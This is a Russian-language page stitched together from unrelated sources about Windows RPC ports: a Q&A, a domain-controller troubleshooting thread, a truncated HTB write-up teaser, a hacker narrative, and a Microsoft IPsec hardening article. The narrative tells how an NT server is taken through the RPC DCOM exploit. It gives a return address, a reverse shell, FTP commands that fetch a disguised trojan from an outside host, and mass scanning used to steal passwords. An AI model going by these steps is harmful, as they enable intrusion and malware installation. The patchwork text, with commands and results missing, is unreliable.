8430 внутренняя ошибка службы каталогов

Какова последовательность портов Windows RPC 135, 137, 139 (и более высоких портов)? Какие изменения происходят с портом 145?

Может кто-нибудь объяснить, когда и как часто используется каждый из портов RPC Windows? «Ядро», которое я понимаю, это:

Затем я услышал, что Port 145 вошел в микс, чтобы «улучшить ситуацию» с NBT /TCP, но я не уверен, как это вписывается в последовательность клиента Windows, инициирующего действие RPC.

Может ли кто-нибудь помочь мне исправить свое понимание портов RPC раз и навсегда?

1 ответ

В версиях Windows раньше, чем Vista /2008, NetBIOS использовался для службы «RPC Locator», которая управляла базой данных службы имен RPC. Но в Vista /2008 и далее служба RPC Locator больше не нужна или не нужна. Это рудиментарно. С этого момента я буду говорить о MSRPC на Vista /2008 +.

Все порты, используемые RPC, следующие:

Другие приложения, такие как шлюз удаленных рабочих столов, будут использовать прокси RPC через HTTP и использовать порт 443 и т. д.

Несмотря на то, что в приведенной выше статье I перечислены порты NetBIOS, они являются устаревшими и не требуются для RPC, предполагая, что вы можете получить разрешение имен с помощью других средств (DNS) и полагая, что сама удаленная служба не зависит от NetBIOS.

Порт 145 является фиктивным. Он не используется ни для чего. Где бы вы ни слышали, что это «улучшает ситуацию», неверно.

Вы можете определить собственный диапазон портов, если хотите, например:

Позвольте мне показать вам пример запроса RPC Enpoint Mapper:

Вы заметите, что если вы выполните этот запрос на локальном компьютере, вы найдете гораздо больше конечных точек, чем при выполнении запроса с удаленного компьютера. Это связано с тем, что многие конечные точки RPC не отображаются удаленно и используются только для локальной межпроцессной связи.

Источник

Microsoft windows rpc 135

Этот форум закрыт. Спасибо за участие!

Спрашивающий

Вопрос

В результате контроллер домена стал работать некорректно

см. вопрос: «Обновление KB4012598 на контроллерах домена Windows 2003»

После того как обновление было снесено, порт остался закрытым

Все ответы

А этот порт должна прослушивать служба Сопоставитель конечных точек RPC. Посмотрите, что у вас там с ней.

Andry IP Sanner показывает. что 135 порт закрыт.

Возможно этот порт был закрыт коллегой каким то другим способом, но утверждает. что только ставил заплатку MS17-010.

службу «Сопоставитель конечных точек RPC» в Windows Server 2003 я не нашел

Сама служба RPC запущена, но ее не видят другие службы.

» Не удалось проинициализировать службу удаленного вызова процедур (RPC) ».

Подробно описано в предыдущем вопросе

Какие события связанные со службой есть в журнале событий?

Интересуют полные копии событий, с кодами ошибок.

Активные подключения состояние PID

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 812

вот не полный перечень ошибок

Тип события: Ошибка
Источник события: DNS
Категория события: Отсутствует
Код события: 140
Дата: 13.06.2017
Время: 23:00:43
Пользователь: Н/Д
Компьютер: KAZAN1
Описание:
DNS-серверу не удалось проинициализировать службу удаленного вызова процедур (RPC). Если она не работает, запустите службу RPC или перезагрузите компьютер. Данными этого события является код ошибки.
—————————————

Тип события: Ошибка
Источник события: Userenv
Категория события: Отсутствует
Код события: 1053
Дата: 14.06.2017
Время: 23:35:35
Пользователь: NT AUTHORITYSYSTEM
Компьютер: KAZAN1
Описание:
Не удалось определить имя пользователя или компьютера. (Сервер RPC недоступен. ). Обработка групповой политики прекращена.

Тип события: Ошибка
Источник события: NTDS General
Категория события: Глобальный каталог
Код события: 1126
Дата: 14.06.2017
Время: 23:05:01
Пользователь: NT AUTHORITYАНОНИМНЫЙ ВХОД
Компьютер: KAZAN1
Описание:
Active Directory не удается подключиться к глобальному каталогу.

Дополнительные данные
Значение ошибки:
8430 Внутренняя ошибка службы каталогов.
Внутренний ID:
3200c89

Действие пользователя:
Убедитесь, что глобальный каталог находится в лесу и доступен для контроллера домена. Для диагностики можно использовать программу NLTEST.

Источник

HTB APT. Проводим разведку через RPC и используем Windows Defender для захвата хоста

Содержание статьи

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

На­ходим два откры­тых пор­та:

Пер­вичный ана­лиз сай­та ничего не дал (кро­ме еще одно­го домен­ного име­ни), поэто­му, пока мы не засели за его глу­бокое тес­тирова­ние, мож­но быс­трень­ко про­верить служ­бу RPC.

Стар­товая стра­ница сай­та

Мы можем выпол­нить пол­ный дамп записей при помощи rpcdump (в качес­тве парамет­ра нуж­но передать толь­ко номер пор­та), но это ничего инте­рес­ного нам не дает.

Но rpcdump не выпол­няет зап­росы DCE/RPC.

Сканирование DCE/RPC

DCE/RPC — это сис­тема уда­лен­ного вызова про­цедур, раз­работан­ная для рас­пре­делен­ной вычис­литель­ной сре­ды. Эта сис­тема поз­воля­ет прог­раммис­там занимать­ся раз­работ­кой рас­пре­делен­ного соф­та так, буд­то все работа­ет на том же компь­юте­ре, без необ­ходимос­ти вол­новать­ся за код, отве­чающий за работу с сетью. Мы можем прос­каниро­вать DCE/RPC и поис­кать служ­бы, которые дос­тупны через TCP. Для ска­ниро­вания подой­дет модуль tcp_dcerpc_auditor из Metasploit Framework.

Таб­лица соот­ветс­твия GUID и целево­го объ­екта

Од­но из пред­назна­чений IObjectExporter — раз­решение OXID. Ког­да кли­ент получа­ет OXID как часть ссыл­ки на объ­ект, ему не­обхо­димо опре­делить информа­цию при­вяз­ки RPC, нуж­ную для свя­зи с уда­лен­ным неиз­вес­тным объ­ектом экспор­тера объ­екта. Наибо­лее инте­ресен метод ServerAlive2(), с помощью которо­го мож­но получить сетевые адре­са. Это мож­но авто­мати­зиро­вать! Выпол­ним ска­ниро­вание с помощью IOXIDResolver.

В резуль­тате получим IPv6-адрес хос­та.

Сканирование портов IPv6

Мы получи­ли нуж­ный адрес — нуж­но его прос­каниро­вать ана­логич­но пер­вому, так как некото­рые служ­бы могут отве­чать по IPv6 и не отве­чать по IPv4. Исполь­зуем тот же скрипт, что и при пер­вом ска­ниро­вании.

Ре­зуль­таты ска­ниро­вания пор­тов по IPv6-адре­су

Пор­ты 80 и 135 пре­дос­тавля­ют такую же информа­цию, что и по IPv4, к LDAP не под­клю­чить­ся, зато к SMB — мож­но.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Источник

Уязвимость была устрашающей, правда
готовый эксплоит оказался недоступен для
основной массы людей. Наверное поэтому
никто не чувствовал страха.

Группа польских экспертов в области
безопасности компьютерных технологий «Last
Stage of Delirium» сообщила публике о найденной
ими уязвимости, обработки DCOM объектов в
контексте RPC протокола. Это было чем-то
потрясающим, поскольку данный протокол
использовался практически всеми
существующими на этот момент версиями Windows.
Уязвимыми оказались ОС Windows NT, Windows XP, Windows 2000
и даже Windows Server 2003 был под прицелом. Этого
было более чем достаточно, чтобы завладеть
компьютерами большинства пользователей
сети Internet. Более того, многие серверы не
блокировали входящие пакеты на 135 порт,
именно он использовался для атаки. Что
делало их потенциальными жертвами.

Но спустя несколько часов Todd Sabin сообщает,
что уязвимыми являются все сервисы RPC. Это
значит, что настройка брандмауэра на
блокировку 135 порта является не достаточным
средством защиты. Опасности подвергаются
компьютеры с открытыми 135 (UDP/TCP), 139, 445 и 593
портами. СМИ освещают данную ошибку, как
потенциальную угрозу для безопасности
пользователей Windows. Дело шло к глобальной
катастрофе. Но поскольку публичного
эксплоита выпущено не было, все продолжали
жить своей прежней жизнью не задумываясь о
последствиях его появления в массах.

Но не все так пассивно отреагировали на
появление данной уязвимости. Хакеры
понемногу начинали писать приватные
эксплоиты, а script kids продолжали ждать его
появления. Результат не заставил себя долго
ждать. В течении нескольких дней появляются
некоторые наработки в этой области,
появляются первые эксплоиты. Тем не менее
большинство из них просто провоцирует сбой
на удаленной системе. Что можно объяснить,
поскольку технических деталей по поводу
найденной уязвимости известно не было. Хотя
некоторые версии ОС уже успешно
эксплуатировались.

Этот день стал переломным в истории
эксплуатации данной уязвимости. Наконец
появляется техническое описание проблемы.
После чего рождается большое количество
эксплоитов, под разные версии Windows.
Некоторые из них имеют даже графический
интерфейс, а иногда и функцию сканирования
определенного диапазона IP адресов.

Именно в этот момент началась массивная
атака хакеров на рядовых пользователей.
Более того, появился интернет червь MS Blast,
который с легкостью проникал на компьютеры
подключенные к Интернету и даже в
корпоративные сети крупнейших компаний
мира. В опасности оказались все.

Напасть на удаленную машину не составляет
особого труда. Поэтому script kids взялись за
свое дело. Кража кредитных кард и приватных
эксплоитов возросла в несколько раз. И
многие лакомые сегменты сети стали
пробоваться на вкус. Именно этим занялся
один хакер. Он давно хотел захватить сервер,
но приличной уязвимости под него до этого
не было. А не воспользоваться таким
подарком судьбы он просто не мог.

Первое, что пришлось ему сделать перед
атакой, это проверить какая именно
операционная система установлена на
сервере. Для этого он воспользовался
утилитой nmap. Хакер не раз уже писал о ее
возможностях, но я повторюсь и скажу, что
она используется для определения версии ОС
на удаленном компьютере. Благо она
существует как для Windows, так и для *nix. А
поскольку хакер для своей работы
использовал Windows, то его выбор пал на
графический вариант nmap.

Несколько минут работы сканера и
результат позитивный. 135 порт оказался
открытым и не защищенным брандмауэром. Это
было началом конца, началом долгожданной
атаки. На этот момент уже было написано
много эксплоитов, в том числе и «RCP Exploit GUI #2».
Его отличительной чертой было то, что он
имел графический интерфейс и содержал в
себе встроенные функции сканирования
диапазона IP, а также FTP сервер.

Запустив эксплоит, он указал адрес
целевого компьютера. Но в списке ОС для
атакуемых машин Windows NT указан не был. А ведь
именно она была установлена на сервере. Это
серьезная проблема, поскольку чтобы
запустить эксплоит необходимо знать его
точный адрес в памяти, чтобы потом передать
на него управление. Немного покопавшись в
файлах, скачанных вместе с эксплоитом он
нашел небольшой список адресов под широкую
разновидность линейки Windows. Среди них
присутствовал и Windows NT с предустановленным
Service Pack 4. Именно его значение он указал в
качестве адреса возврата, плюнув на ручной
выбор ОС. Число 0xE527F377 стало его тайным
пропуском в жизнь сервера. И он начал атаку.

Система сдалась без каких-либо
происшествий, так у хакера появился reverse-shell
с удаленным сервером. Теперь, когда он мог
исполнять на нем все что угодно, пришло
время установить Троян. Среди большого
числа возможных, был выбран DonaldDick. Для
осуществления своего плана ему пришлось
получить хостинг на бесплатном сервере с
поддержкой FTP. Вполне подошел BY.RU, именно
туда он и закачал сервер для трояна. Теперь,
когда DonaldDick стал доступным по FTP, он обратно
взялся за жертву, а точнее начал закачивать
на нее сервер трояна. Это был хорошо
продуманный план, поскольку уязвимость
могли пропатчить, а троян он и в Африке
троян. Набрав в консоли ftp он принялся
закачивать файл. Весь процесс занял у него,
написания всего лишь пяти строк:

open by.ru
имя_сервера.by.ru
пароль
get fooware.exe
bye

Где fooware.exe это переименованный сервер для
DonaldDick. Когда файл закачался, ему осталось
только запустить его. Для этого он просто
написал имя файла (fooware.exe) и с наслаждением
нажал Enter. После чего хакер получил удобный
контроль над сервером.

Но знаете как оно всегда бывает, когда
находишь что-то интересное продолжаешь с
этим играть. Так и наш Хакер захотел
получить более чем одну систему. Посмотрев,
что эксплоит KaHt
2 позволяет провести массивное
сканирование, он взялся за работу, а точнее
за работу взялся KaHt. Его использование
оказалось не трудным. Так например, чтобы
про сканировать сеть с IP 192.168.0.* (класс С), ему
нужно было набрать «KaHt.exe 129.168.0.1
192.168.0.254″. Что собственно он и сделал,
после чего периодически проверял
результаты. Таким образом он получил доступ
к еще большему количеству пользователей, от
которых потом сумел получить пароли на
разные сервисы, почты, и много другой
полезной информации. Не говоря уже про то,
что он стал пользоваться многими из них как
анонимными прокси.

Пища к размышлению

Хотя Microsoft давно выпустила заплатку,
пользователи и админы не спешат
устанавливать патчи, надеясь что их сеть не
будет никому интересной. Но таких хакеров
большое количество и установка патча это
скорее необходимость, нежели возможность.
Еще можно блокировать все входящие пакеты
на 135, 139, 445 и 593 порты.

Естественно, что все это хакер делал через
анонимную прокси, а в результате почистил
за собой следы присутствия в системе. Но вам
следует задуматься, прежде чем повторять
его подвиги. Ведь такие действия считаются
противозаконными и могут закончиться для
вас достаточно плачевно.

Источник

Настройка RPC для использования определенных портов и защита этих портов с помощью IPsec

Аннотация

В данной статье рассматривается настройка RPC для использования определенного диапазона динамических портов, а также защита портов с помощью политики IPsec (Internet Protocol security). По умолчанию при назначении портов для приложений RPC, которые должны прослушивать конечную точку TCP, RPC использует порты из диапазона временных портов (1024-5000). Подобное поведение может усложнить процедуру ограничения доступа к этим портам для сетевых администраторов. В данной статье приведены способы ограничения числа портов, доступных для приложений RPC, а также способы ограничения доступа к этим портам с помощью политики IPsec.

Поскольку действия, описанные в данной статье, приводят к изменениям на уровне системы, требующим перезагрузки компьютера, все эти действия сначала следует выполнить в нерабочей среде, чтобы выявить любые проблемы совместимости, возникающие в результате соответствующих изменений.

Дополнительная информация

Существует несколько задач, которые необходимо выполнить для перераспределения, сокращения числа доступных портов RPC и ограничения доступа к этим портам.

Сначала необходимо ограничить диапазон динамических портов RPC, чтобы их было проще блокировать с помощью брандмауэра или политики IPsec. По умолчанию RPC динамически выделяет порты в диапазоне номеров от 1024 до 5000 для конечных точек, не указывающих порт, который необходимо прослушивать.

Примечание. В данной статье используется диапазон портов от 5001 до 5021 во избежание ситуаций, при которых все временные порты окажутся занятыми, и чтобы сократить число портов, доступных для конечных точек RPC от 3,976 до 20.

Затем необходимо разработать политику IPsec, ограничивающую доступ к этому диапазону портов для всех ведущих узлов сети.

И наконец, можно обновить политику IPsec, предоставив определенным IP-адресам или подсетям доступ к заблокированным портам RPC и запретив доступ для всех остальных.

Чтобы начать процесс настройки диапазона динамических портов RPC, загрузите средство настройки RPC (RPCCfg.exe), а затем скопируйте его на рабочую станцию или сервер, который подвергнется изменениям. Для этого посетите веб-узел Майкрософт:

http://www.microsoft.com/downloads/details.aspx?FamilyID=0f9cde2f-8632-4da8-ae70-645e1ddaf369&DisplayLang=enДля создания политики IPsec загрузите средство политик безопасности протоколов Интернета (Ipsecpol.exe), а затем скопируйте его на рабочую станцию или сервер, который подвергнется перенастройке. Для этого посетите веб-узел Майкрософт:

http://www.microsoft.com/downloads/details.aspx?displaylang=ruFamilyID=7D40460C-A069-412E-A015-A2AB904B7361Примечание. Для создания политики IPsec для Microsoft Windows XP или для более поздней версии операционной системы Windows воспользуйтесь программой Ipseccmd.exe. Ipseccmd.exe входит в состав средств поддержки для Windows XP. Синтаксис и использование IPseccmd.exe аналогичны синтаксису и использованию Ipsecpol.exe. Дополнительные сведения о средствах поддержки Windows XP см. в следующей статье базы знаний Майкрософт.

838079 Средства поддержки для Windows XP с пакетом обновления 2 (SP2)

Перераспределите и сократите диапазон динамических портов RPC с помощью RPCCfg.exe

Для этого выполните следующие действия:

Скопируйте RPCCfg.exe на сервер, который необходимо настроить.

Например, если обозреватель Internet Explorer связывается с веб-сервером через порт 80, в ожидании отклика от сервера он прослушивает порт в диапазоне 1024-5000. Сервер COM среднего уровня, отправляющий исходящий вызов на другие удаленные серверы, также использует порт в этом диапазоне для входящего отклика на этот вызов. Если RPC будет использовать для конечных точек диапазон портов 5001-5021, вероятность использования этих портов другими приложениями значительно уменьшится.
Для получения дополнительных сведений об использовании временных портов в операционных системах Windows посетите веб-узел корпорации Майкрософт по следующему адресу:

Для Windows Server 2003:

Используйте политику протокола IPsec или брандмауэра, чтобы заблокировать доступ к уязвимым портам на соответствующем компьютере

В указанных ниже командах текст, заключенный между символами «%», должен заменяться текстом, который вводит пользователь, создающий политику IPsec. Например, для «%IPSECTOOL%» замена производится следующим образом:

для Windows 2000 «%IPSECTOOL%» меняется на «ipsecpol.exe»;

для Windows XP или более поздней версии Windows «%IPSECTOOL%» меняется на «ipseccmd.exe».

Для получения дополнительных сведений об использовании IPsec для блокировки портов щелкните следующий номер статьи базы знаний Майкрософт:

813878 Блокирование определенных сетевых протоколов и портов с помощью IPSec

Заблокируйте доступ к службе отображения конечных точек RPC для всех IP-адресов

Для этого используйте следующий синтаксис.

Примечание. Для Windows XP и более поздних версий операционной системы используйте Ipseccmd.exe. Для Windows 2000 используйте Ipsecpol.exe (Windows 2000).

Примечание. Не вводите «%IPSECTOOL%» в данной команде. «%IPSECTOOL%» представляет часть команды, которая зависит от версии операционной системы. Например, для Windows 2000 введите следующую команду из каталога, содержащего файл Ipsecpol.exe, чтобы заблокировать любой входящий доступ к TCP 135:

Для Windows XP или более поздней версии операционной системы введите следующую команду из каталога, содержащего файл Ipseccmd.exe, чтобы заблокировать любой входящий доступ к TCP 135:

Заблокируйте доступ к диапазону динамических портов RPC для всех IP-адресов

Для этого используйте следующий синтаксис.

Примечание. Для Windows XP и более поздних версий операционной системы используйте Ipseccmd.exe. Для Windows 2000 используйте Ipsecpol.exe (Windows 2000).

Примечание. Не вводите «%IPSECTOOL%» или «%PORT%» в данной команде. «%IPSECTOOL%» и «%PORT%» представляют части команды, которые зависят от версии операционной системы. Например, для ведущего узла под управлением Windows 2000 введите следующую команду, чтобы заблокировать любой входящий доступ к TCP 5001:

Для ведущих узлов под управлением Windows XP и более поздних версий операционной системы введите следующую команду:

Выполните данную команду для каждого порта RPC, который необходимо заблокировать, изменяя номер порта в теле команды. Порты, которые необходимо заблокировать, принадлежат к диапазону номеров 5001-5021.

Примечание. Не забудьте изменить номер порта в имени правила (-r) и в фильтре (-f).

Дополнительно: При необходимости разрешите доступ к службе отображения конечных точек RPC для определенных подсетей

Чтобы предоставить для определенных подсетей доступ к заблокированным портам RPC, сначала нужно разрешить для них доступ к службе отображения конечных точек RPC, который был заблокирован ранее. Для этого выполните следующую команду:

Примечание. В данной команде используются следующие местозаполнители:

«%IPSECTOOL%» представляет используемую команду – «ipsecpol.exe» или «ipseccmd.exe», в зависимости от используемой операционной системы.

«%SUBNET%» представляет удаленную IP-подсеть, которой необходимо предоставить доступ, например, 10.1.1.0.

«%MASK%» представляет используемую маску подсети, например, 255.255.255.0.

Например, приведенная ниже команда разрешает для всех ведущих узлов подсети 10.1.1.0/255.255.255.0 подключение к порту TCP 135. Подключение для любых других ведущих узлов будет запрещено исходным блокирующим правилом, созданным для данного порта ранее.

Дополнительно: При необходимости разрешите доступ к новому диапазону динамических портов RPC для определенных подсетей

Для каждой подсети, которая теперь имеет доступ к службе отображения конечных точек RPC, необходимо разрешить доступ ко всем портам в новом диапазоне динамических портов RPC (5001-5021).

Если для подсети будет разрешен доступ к службе отображения конечных точек RPC, но не будет разрешен доступ к диапазону динамических портов, приложение может перестать отвечать на запросы, либо могут возникнуть другие проблемы.

Для предоставления доступа к новому диапазону динамических портов RPC для определенной подсети воспользуйтесь следующей командой:

Примечание. В данной команде используются следующие местозаполнители:

«%IPSECTOOL%» представляет используемую команду – «ipsecpol.exe» или «ipseccmd.exe», в зависимости от используемой операционной системы.

«PORT%» представляет порт в диапазоне динамических портов, к которому предоставляется доступ.

«%SUBNET%» представляет удаленную IP-подсеть, которой необходимо предоставить доступ, например, 10.1.1.0.

««%MASK%» представляет используемую маску подсети, например, 255.255.255.0.

Например, приведенная ниже команда разрешает для всех ведущих узлов подсети 10.1.1.0/255.255.255.0 подключение к порту TCP 5001. Подключение для любых других ведущих узлов будет запрещено исходным блокирующим правилом, созданным для данного порта ранее.

Примечание. Данную команду необходимо выполнить для каждой подсети и каждого порта диапазона динамических портов RPC.

Назначьте политику IPsec

Примечание. Команда, приведенная в данном разделе, вступает в действие немедленно.

После создания правил, блокирующих доступ, и всех дополнительных правил, разрешающих доступ к указанным портам RPC, назначьте политику, воспользовавшись следующей командой:

Примечание. Следующая команда вызывает немедленную отмену назначенной политики:

Примечание. Чтобы удалить политику из реестра, используйте следующую команду:

Для вступления изменений в силу необходимо перезагрузить ведущий узел.

Для вступления в силу изменений в настройках RPC требуется перезагрузка.

Изменения в политике IPsec вступают в силу незамедлительно и не требуют перезагрузки.

После перезагрузки рабочей станции или сервера для любых интерфейсов RPC, использующих последовательность протокола ncacn_ip_tcp и не указывающих определенный порт TCP для прослушивания, после запуска сервера RPC во время работы RPC будет выделен порт из данного диапазона.

Источник